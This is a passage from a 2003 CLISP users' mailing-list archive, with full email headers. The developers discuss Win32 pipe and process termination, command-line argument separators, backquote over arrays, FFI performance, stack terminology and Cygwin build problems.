Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, Arseny Slobodjuck Subject: Re: [clisp-list] inspector via browser: MS-IE solution References: <9F8582E37B2EE5498E76392AEDDCD3FE02E7390B@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE02E7390B@G8PQD.blf01.telekom.de> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out004.verizon.net from [151.203.42.128] at Tue, 18 Mar 2003 09:12:45 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 18 07:13:30 2003 X-Original-Date: 18 Mar 2003 10:13:29 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE02E7390B@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] inspector via browser: MS-IE solution" > * Sent on Tue, 18 Mar 2003 13:45:26 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > (close (ext:make-pipe-output-stream > (format nil "\"~A\"~{ ~A~}" (first command) args))) are you saying that CloseHandle does not terminate the process on win32?! -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux A poet who reads his verse in public may have other nasty habits. From sds@gnu.org Tue Mar 18 09:34:50 2003 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18vKzC-00076I-00 for ; Tue, 18 Mar 2003 09:34:50 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out006.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030318173440.XUOA4892.out006.verizon.net@loiso.podval.org>; Tue, 18 Mar 2003 11:34:40 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2IHZTTx009955; Tue, 18 Mar 2003 12:35:29 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2IHZGm5009950; Tue, 18 Mar 2003 12:35:16 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] arguments to a saved image? 3 suggestions. References: <20030317075353.3E66394FE6@thalassa.informatimago.com> <15990.43730.689673.559244@thalassa.informatimago.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15990.43730.689673.559244@thalassa.informatimago.com> Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from [151.203.42.128] at Tue, 18 Mar 2003 11:34:40 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 18 09:35:21 2003 X-Original-Date: 18 Mar 2003 12:35:16 -0500 > * In message <15990.43730.689673.559244@thalassa.informatimago.com> > * On the subject of "Re: [clisp-list] arguments to a saved image? 3 suggestions." > * Sent on Tue, 18 Mar 2003 06:12:50 +0100 > * Honorable Pascal Bourguignon writes: > > Any reason in particular why it does not use the standard (or at > least, the classical) -- argument separator? you can have a file named "--" but not a file named "". > You don't expect us to read the whole documentation, do you? HUH?! > While it may be hard to ask for a full compatibility with the emacs > command line arguments, (with respect to -x/--eval etc), I would > suggest to add "--" as alternate separator for the arguments passed to > ext:*arg* in addition to "". Note that it is sometimes hard to ensure > the presence of an empty arguments. try CVS head. I added multiple -x and also -repl (enter REPL after -x &c) $ ./clisp -x '(print (list ' -x ':args' -x ' *args*))' -q -norc -- 1 2 3 4 5 6 7 (:ARGS ("1" "2" "3" "4" "5" "6" "7")) (:ARGS ("1" "2" "3" "4" "5" "6" "7")) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Stupidity, like virtue, is its own reward. From kaz@footprints.net Tue Mar 18 12:49:39 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18vO1E-0004ZR-00 for ; Tue, 18 Mar 2003 12:49:08 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18vO0g-0003ta-00; Tue, 18 Mar 2003 12:48:34 -0800 From: Kaz Kylheku To: Sam Steingold cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: New, from-scratch implementation of backquote. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 18 12:50:20 2003 X-Original-Date: Tue, 18 Mar 2003 12:48:34 -0800 (PST) On 17 Mar 2003, Sam Steingold wrote: > * #(x1 x2 x3 ... xn) may be interpreted to mean (apply #'vector `(x1 x2 > x3 ... xn)). > > #1A is not mentioned. I suggest raising this on c.l.l. > > personally, I would rather signal an error here, like CMUCL and > unpatched CLISP (ACL? LW?) do because > > - when you write a literal, your would write #() anyway, so the simple > user does not lose > > - when you generate the form, you should make sure that the dim is 1 > anyway, so you can use #() just as well > > - when the user sees that `#1A(1 2 ,a 4) works but `#2A((1 2) (,a 4)) > does not, the user would be rightfully surprised; he will also think > that `#2A(,a ,b) should work when a and b are sequences of the same > length &c &c... Okay, how about dividing the work into three milestones. Basically I have taken care of most of the first milestone already: optimization, proper i18n-able error messages using TEXT macro, system builds itself cleanly. What's left is beating up the backquote with lots of nasty test cases. In the second milstone, I can put in rudimentary support for backquoting over multi-dimensional arrays. This means that no special reader is used. A form like #2A((,@x ,y) (,z)) will basically be read to produce the object. #2A(((SYSTEM::SPLICE X) (SPLICE Y) ((SPLICE Z)))) This will be supported in a straightforward way. The algorithm is: walk the leaf row vectors of the array and perform the backquote substitution on them in the straightforward way. Then spin these expanded row expressions into a big MAKE-ARRAY constructor call. Conceptually, this is like distributing the ` operator into the rows, in other words: `#nA( .. ( ... (...) (...) (...) ... ) ... ) will be treated something like: #nA(... ( ... `(...) `(...) `(...) ... ) ...) except that evaluation of the unquotes within `(...) is arranged. This means that syntax like #2A(,@form) will not work, because the unquote is at the wrong level; the form must have the required shape for a two-dimensional array, and the unquotes must appear in the innermost lists only. In the third milestone, we can work in unrestricted unquoting, such as: (let ((rows '((1 2) (3 4) (5 6)))) `#2A(,@rows)) ;; splice in all the rows. ==> #2A((1 2) (3 4) (5 6)) This, of course, requires cooperation from the #A reader macro. In fact, it will probably be necessary for the backquote implementation to temporarily overrides the read table with its own reader. I think there is value in being able to do unquoting over arrays, even if it's not portable. For instance, suppose you want to make a rank 3 matrix with some non-zero eigenvalues on the diagonal, and zeros elsewhere: (let ((e1 3) (e2 4) (e3 5)) `#2A((,e1 0 0) ( 0 ,e2 0) ( 0 0 ,e3))) ==> #2A((3 0 0) (0 4 0) (0 0 5)) This elementary substitution is possible just with milestone 2 unquoting support. From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 19 01:46:06 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18va96-0007rz-00 for ; Wed, 19 Mar 2003 01:46:05 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 19 Mar 2003 10:44:57 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 19 Mar 2003 10:44:17 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE02E73B3B@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] inspector via browser: MS-IE solution MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 19 01:47:02 2003 X-Original-Date: Wed, 19 Mar 2003 10:44:08 +0100 Hi, >> (close (ext:make-pipe-output-stream >> (format nil "\"~A\"~{ ~A~}" (first command) args))) >are you saying that CloseHandle does not terminate the process on >win32?! I'm not saying more than "it works for me". Maybe MS-IE ignores any signal if one is ever sent? Why should a close terminate a process? Conceptually, I see a difference between signaling EOF on a pipe and sending a SIGPIPE to cause a program to terminate. That both are mixed is in my POV a UNIXism. It has its uses, e.g. to abort a series | of | pipes | in a shell. But for some applications, what I needed was: send an application input, then signal that all input is there (typically via EOF, causing a 0 byte read() through a pipe), then let the application perform computations based on this input. E.g. "cat" may copy its input to some other place. It must not be killed as soon as EOF is seen, since it needs time to save the last bytes. A SIGKILL coupled to a pipe does not help at all in such a situation. Please remember to keep process control and EOF separate issues. BTW, a quick test on Linux (Suse 8.1) with MAKE-PIPE-OUTPUT-STREAM and CLOSE shows that a CLISP child process continues to run after CLOSE. (make-pipe-output-stream "clisp /.../cat.lisp") BTW, I forgot how Emacs manages to be able to send multiple EOF (read causes 0-byte read() returns) to a subprocess, like an interactive tty. Obviously, it's not using a simple pipe, since there's place only for a single EOF there: after that is seen, nothing is transmitted any more. I.e., there's a difference between clisp cat.lisp and tee input.log | clisp cat.lisp w.r.t. the ability to use ^D in the debugger. Regards, Jorg Hohle. From ampy@inbox.ru Wed Mar 19 05:10:53 2003 Received: from mx10.mail.ru ([194.67.57.20]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18vdLG-00048R-00 for ; Wed, 19 Mar 2003 05:10:50 -0800 Received: from [212.16.216.93] (helo=212.16.216.93) by mx10.mail.ru with esmtp (Exim SMTP.A) id 18vdL6-000NMr-00; Wed, 19 Mar 2003 16:10:41 +0300 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1895496523.20030319231435@inbox.ru> To: Sam Steingold CC: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] inspector via browser: MS-IE solution In-reply-To: References: <9F8582E37B2EE5498E76392AEDDCD3FE02E7390B@G8PQD.blf01.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 19 05:11:08 2003 X-Original-Date: Wed, 19 Mar 2003 23:14:35 +1000 Hello Sam, Wednesday, March 19, 2003, 1:13:29 AM, you wrote: >> (close (ext:make-pipe-output-stream >> (format nil "\"~A\"~{ ~A~}" (first command) args))) > are you saying that CloseHandle does not terminate the process on > win32?! I think it doesn't. There is BOOL TerminateProcess(HANDLE,exitcode). MSDN says that one can CloseHandle of process after it is created. ====== The created process remains in the system until all threads within the process have terminated and all handles to the process and any of its threads have been closed through calls to CloseHandle. The handles for both the process and the main thread must be closed through calls to CloseHandle. If these handles are not needed, it is best to close them immediately after the process is created. ====== Last time I checked run-program & friends it worked by running shell (cmd.exe or command com) and then starting a program from this shell. Why is this ? It looks strange for me. Only run-shell-command should work like this, i.e. run-shell-command should call run-program, not vice versa. Is this a unix way of thinking? On system level for win32 we have only (shell) and (make-pipe-*-stream) (I didn't look into it yet), (shell) has no :wait ability. It seems to me that run-program should be C-coded to use all the system features, priorities for example. How do you people think ? If make-pipe-*-stream made like (shell) then it waits for process to finish. Would it be right if it will never wait ? And how we can close hanging pipe-stream, by close (adding TerminateProcess to it) ? Joerg-Cyril Hoehle: >More generally, some MS-Windows guru will have to add code to CLISP so that it can >asynchronously start processes. That's what's needed here. As for me, I am to meditate this week, sorry. -- Best regards, Arseny From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 19 06:42:22 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18velo-00055J-00 for ; Wed, 19 Mar 2003 06:42:21 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 19 Mar 2003 15:42:11 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 19 Mar 2003 15:42:11 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE02E73CD9@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: don-sourceforge@isis.cs3-inc.com MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] (compile-file "foo.lisp") deletes foo.c ?? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 19 06:43:05 2003 X-Original-Date: Wed, 19 Mar 2003 15:42:08 +0100 Hi, if you want to hear my voice on the subject: I believe it's quite ok for the .c file to share the basename of the lisp file (or the basename of the :output-file argument), even more since Sam's patch which causes .c files to be (overwritten and) generated only when needed. It's very important however, that this naming and dependency issue be documented. I'm not sure that is documented other than in a sidenote: "(do not call it cfun.lisp - COMPILE-FILE would overwrite cfun.c)" BTW, the basename also serves to generate the module's C identifiers (__module__xyz__subr_tab[] etc.). I'm unsure whether hundreds of configuration switches are needed to control every piece of output. It just bloats every software, decreases reliability and costs a lot of code for little benefit (IMHO). Say yes to flexibility, but I'm not sure that we address flexibility here. Dan, you're not alone. Even Sam only learnt about this behaviour not too long ago. Witness the following e-mail, from 8th of March 2002: >> * Honorable "Hoehle, Joerg-Cyril" writes: >> o One of dirkey.lisp or dirkey.c should be renamed (like affi|1, >> foreign|1, rexx|1.{d,lisp}) This will avoid dirkey.c to get >> overwritten the day dirkey.lisp will contain some FFI definition, when >> it's supposed to be generated from dirkey.d. Furthermore, makefile >> (MSVC6.0) get confused and wants to rebuild my dirkey, maybe because >> of this?? or maybe because somehow dirkey.c disappeared? >another mystery solved!!! thanks! >fixed too. I believe Sam added the mentioned patch as a consequence of this new piece of knowledge... Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 19 06:42:01 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18velT-0004yC-00 for ; Wed, 19 Mar 2003 06:41:59 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 19 Mar 2003 15:41:50 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 19 Mar 2003 15:41:50 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE02E73CD8@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: don-sourceforge@isis.cs3-inc.com MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] (compile-file "foo.lisp") deletes foo.c ?? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 19 06:43:11 2003 X-Original-Date: Wed, 19 Mar 2003 15:41:46 +0100 Hi, I'd like to jump on the occasion to query whether it's acceptable that a C file and C forms be generated for a Lisp file which would contain only definitions for shared library functions? The C file might never be used by CLISP. It may, however, serve as a basis for replacing some of the functions with hand-written wrappers, providing better integration into Lisp, or for whatever purpose. The complication is that I have thoughts on a Lisp-level interface where the Lisp file will contain no indication as to whether a foreign function will eventually come from a shared library or a link module. The .fas file would be portable. (DEF-CALL-OUT ... (:library "mysql") #) would emit code which would only at load-time choose among looking up a shared library or a link module, depending on the user's settings for the "mysql" module -- probably a shared library on MS-Windows, and a static module on CLISP -- but this is just an example. Thanks for your ideas, Jorg Hohle. From rrschulz@cris.com Wed Mar 19 07:02:14 2003 Received: from darius.concentric.net ([207.155.198.79]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18vf4h-0000Ja-00 for ; Wed, 19 Mar 2003 07:01:51 -0800 Received: from newman.concentric.net (newman.concentric.net [207.155.198.71]) by darius.concentric.net [Concentric SMTP Routing 1.0] id h2JF1fc15137 for ; Wed, 19 Mar 2003 10:01:41 -0500 (EST) Received: from Clemens.cris.com (xo.267.238.66.in-addr.arpa [66.238.120.147] (may be forged)) by newman.concentric.net (8.9.1a+patch) id KAA04890; Wed, 19 Mar 2003 10:01:39 -0500 (EST) Message-Id: <5.2.0.9.2.20030319070039.00fac860@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 To: clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: Re: [clisp-list] inspector via browser: MS-IE solution In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE02E73B3B@G8PQD.blf01.telek om.de> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 19 07:03:02 2003 X-Original-Date: Wed, 19 Mar 2003 07:03:08 -0800 Joerg, At 01:44 2003-03-19, Hoehle, Joerg-Cyril wrote: >Hi, > >... > >A SIGKILL coupled to a pipe does not help at all in such a situation. Under Unix (and Unix work-alikes) SIGKILL cannot be caught or ignored, so it is singularly useless for anything except unconditional, abrupt and abortive termination. >... > >Regards, > Jorg Hohle. Randall Schulz From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 19 07:03:30 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18vf6F-0000aj-00 for ; Wed, 19 Mar 2003 07:03:28 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 19 Mar 2003 16:03:15 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 19 Mar 2003 16:03:14 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE02E73CF0@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: haible@ilog.fr Subject: AW: [clisp-list] on "increases STACK by n" in the CLISP source an d up/down in the debugger MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 19 07:04:04 2003 X-Original-Date: Wed, 19 Mar 2003 16:03:13 +0100 Hi, Sam Steingold wrote: >> My mental representation of a stack is that of a pile of paper. It >> realises last-in-first-out (LIFO). The newest is at the top, the >> oldest is hidden at the bottom, long forgotten. What is yours? >Proposal: >debugger help: top == most recent. >what do people think? Fine, but you omit up/down behaviour specification up: more recent elements down: towards bottom >there is no INCF for stacks. >so "increasing the stack" is a TYPE-ERROR. Not in my model. A stack has volume (since it can be empty, and grow). Thus, canonical increasing for stacks is growing, decreasing is popping or shrinking. What do native english (or american :) speakers have to say? >code comments: replace decrease/increase with push/pop Prefer below declaration >Actually, I would like to replace comments "can trigger GC" with >declarations GC_unsafe and comments "pushes 3 objects on the stack" >with declarations push_STACK(3). E.g., get_buffers() in io.d will look >like this: >GC_unsafe push_stack(2) local void get_buffers (void) {} I appreciate declarations that are easily scanned both by humans and computers. The loose comment form does not exactly fit that category. I appreciate when tools exist that validate such information. Will declarations be verified by GCC? Be careful that it does not hurt other code-analysing tools, e.g. ctags, protoize, context-diff-with-function-name, etc. etc. Also, a push_stack() declaration does not handle every situation. Some functions grow or shrink the stack by a data-dependent amount. listof() comes to mind. How do you represent these? Other than that: I'm in favour of this incompatible user-level change. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 19 08:26:58 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18vgP1-0002pb-00 for ; Wed, 19 Mar 2003 08:26:56 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 19 Mar 2003 17:26:47 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 19 Mar 2003 17:26:46 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE02E73D26@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: a.bignoli@computer.org Subject: [clisp-list] FFI guru/wizard award to be rewarded MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 19 08:27:12 2003 X-Original-Date: Wed, 19 Mar 2003 17:26:37 +0100 Cheers up to Aurelio Bignoli! I wasn't aware until now that some users had developed great problem-solving ability with the CLISP FFI :-) While his explanation - more in terms of "what steps" than "how" - was not judged entirely satisfactory by the one-person jury (me:-), the example he supplies show agility in similar situations of using the FFI, which imply understanding. Aurelio is concerned with efficiency issues, let's have a look at his pattern: >be determined only at runtime. If, on the contrary, data returned is a >well known C type, it is better to avoid with-c-var/cast overhead by >using an ad-hoc foreign function for the conversion. >int get_int_data (void *p) >{ return *(int *)p; } >Not elegant, but quite fast :) Obviously, you are concerned with efficiency, but not too much, since: 1. you're still using a byte-code virtual machine Lisp instead of a native code compiler implementation, 2. you didn't write even faster code, which completely bypasses the FFI overhead, as in: LISPFUNN(get_int_data,1) { var object data=popSTACK(); if (!faddressp(obj)) { fehler("foo of your own"); } /* better use int8/16/32 instead of generic compiler-dependent int */ var sintL intdata = *(int*)(Faddress_value(obj)); value1=L_to_I(intdata); mv_count=1; # UL_to_I on unsigned } So far, so good. Let's try to see if the FFI can nevertheless be fast enough for you. Please try the following: (defun my-func-wrapper (...) (let* ((result (my-func ...)) (data (my-struct-data result))) (unwind-protect (with-foreign-object (p 'c-pointer data) (foreign-value (ffi::%cast p (load-time-value (ffi::parse-c-type '(c-ptr int)))))) (linux:free data)))) [There's still one (parse-c-type 'c-pointer) in there at run-time - we could get rid of it as well. Macroexpand-1 with-foreign-object] I do not recommend at all that you write FFI code this way. I just want to know whether you find the speed acceptable. The compiler could/should/ought to generate code that way out of constant types, not you. If speed becomes acceptable, I'll think about working out the details of such an optimization (read find out the complex cases where it fails). BTW, could you show the C prototype for the real external function? Why do you have the interface you mention, instead of data and size as separate parameters? I've been thinking about adding support for (def-call-out-VARLEN my-func (:arguments (data (c-ptr (c-array uint8 (:size/count allocated-size))) :out) (allocated-size (c-ptr uint) :in-out))) but not for :malloc style allocation, and your pattern is different I fear that cannot cover your interface protocol. > (unwind-protect > (with-c-var (p 'c-pointer data) > (cast p `(c-ptr (c-array uint8 ,(my-struct-size result)))))) > (linux:free data))) Side note: A typical case (in my eyes) where FOREIGN-FREE must not invalidate the shared pointer... Oh well, the whole VALIDP issue could be revisited. Regards, Jorg Hohle. From yadin+@pitt.edu Wed Mar 19 08:28:45 2003 Received: from mb1i0.ns.pitt.edu ([136.142.186.35]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18vgQm-0003Ak-00 for ; Wed, 19 Mar 2003 08:28:44 -0800 Received: from GOLDSCHMIDT.phyast.pitt.edu ([136.142.111.76]) by pitt.edu (PMDF V5.2-32 #41462) with ESMTP id <01KTPGRN2L6Y0069JV@mb1i0.ns.pitt.edu> for clisp-list@lists.sourceforge.net; Wed, 19 Mar 2003 11:28:22 EST From: "Yadin Y. Goldschmidt" Originator-info: login-id=yadin; server=imap.pitt.edu To: clisp-list@lists.sourceforge.net Message-id: <9458609.1048073301@GOLDSCHMIDT.phyast.pitt.edu> MIME-version: 1.0 X-Mailer: Mulberry/2.2.1 (Win32) Content-type: text/plain; charset=us-ascii; format=flowed Content-disposition: inline Content-transfer-encoding: 7bit Subject: [clisp-list] help with compiling clisp cvs on cygwin Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 19 08:29:09 2003 X-Original-Date: Wed, 19 Mar 2003 11:28:21 -0500 I tried to built clisp on cygwin (Win XP) from the recent cvs. The executable builds, but it fails to build the memory image. In particular it chokes when loading "type.lisp" with an error message "unix error 2 file not found". Is it possible to build clisp on cygwin? There is a compiled version of 2.30 on sourceforge but it is from october 1 and it has floating point problems that prevent is to be used to compile maxima. The previous clisp 2.29 cygwin version has tty problems. Any hints or help? (BTW I did not instal libsigsegv since it does not work on cygwin). From sds@gnu.org Wed Mar 19 08:34:39 2003 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18vgWU-0004JF-00 for ; Wed, 19 Mar 2003 08:34:38 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop015.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030319163432.JLOO14460.pop015.verizon.net@loiso.podval.org>; Wed, 19 Mar 2003 10:34:32 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2JGZOTx013189; Wed, 19 Mar 2003 11:35:24 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2JGZMeM013185; Wed, 19 Mar 2003 11:35:22 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, haible@ilog.fr Subject: Re: AW: [clisp-list] on "increases STACK by n" in the CLISP source an d up/down in the debugger References: <9F8582E37B2EE5498E76392AEDDCD3FE02E73CF0@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE02E73CF0@G8PQD.blf01.telekom.de> Message-ID: Lines: 71 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop015.verizon.net from [151.203.42.128] at Wed, 19 Mar 2003 10:34:32 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 19 08:35:06 2003 X-Original-Date: 19 Mar 2003 11:35:22 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE02E73CF0@G8PQD.blf01.telekom.de> > * On the subject of "AW: [clisp-list] on "increases STACK by n" 